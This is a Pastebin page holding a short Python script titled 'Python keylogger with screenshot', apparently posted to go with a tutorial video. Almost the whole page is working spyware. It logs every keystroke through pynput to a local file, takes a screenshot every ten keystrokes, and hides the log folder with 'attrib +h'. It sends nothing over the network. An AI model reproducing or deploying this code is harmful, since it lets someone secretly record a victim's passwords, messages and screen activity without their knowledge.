Advertisement
INNOCENT_ANTHONY

Python keylogger with screenshot

Feb 23rd, 2020
403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.18 KB | None | 0 0
  1. import mss
  2. import os
  3. import subprocess
  4. from pynput.keyboard import Listener
  5. import datetime
  6.  
  7. main_log_dir = "c:\\log"
  8. key_log_dir = "c:\\log\\key_log"
  9. screen_shot_dir = "c:\\log\\screen_shot"
  10.  
  11. keys = []
  12.  
  13.  
  14. def screen_capture():
  15.     capture = mss.mss()
  16.     capture.shot(output=f"{screen_shot_dir}\\{str(datetime.datetime.now()).replace(':', '')}.png")
  17.  
  18.  
  19. def _on_press(key_strokes):
  20.     global keys
  21.     key_strokes = str(key_strokes).replace("'", "")
  22.     keys.append(key_strokes)
  23.     if len(keys) >= 10:
  24.         send_file(keys)
  25.         screen_capture()
  26.         keys = []
  27.  
  28.  
  29. def send_file(key_strokes):
  30.     log_loop = [main_log_dir, key_log_dir, screen_shot_dir]
  31.     for directory in log_loop:
  32.         if not os.path.exists(directory):
  33.             os.mkdir(directory)
  34.  
  35.     subprocess.call(f"attrib +h {main_log_dir}", shell=True)
  36.  
  37.     for key in key_strokes:
  38.         with open(f"{key_log_dir}\\log.txt", "a") as file:
  39.             if key.find("space") > 0:
  40.                 file.write(" ")
  41.             elif key.find("Key"):
  42.                 file.write(key)
  43.  
  44.  
  45. with Listener(on_press=_on_press) as listener:
  46.     listener.join()
  47.  
  48. Hello world thanks for checking out this video
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement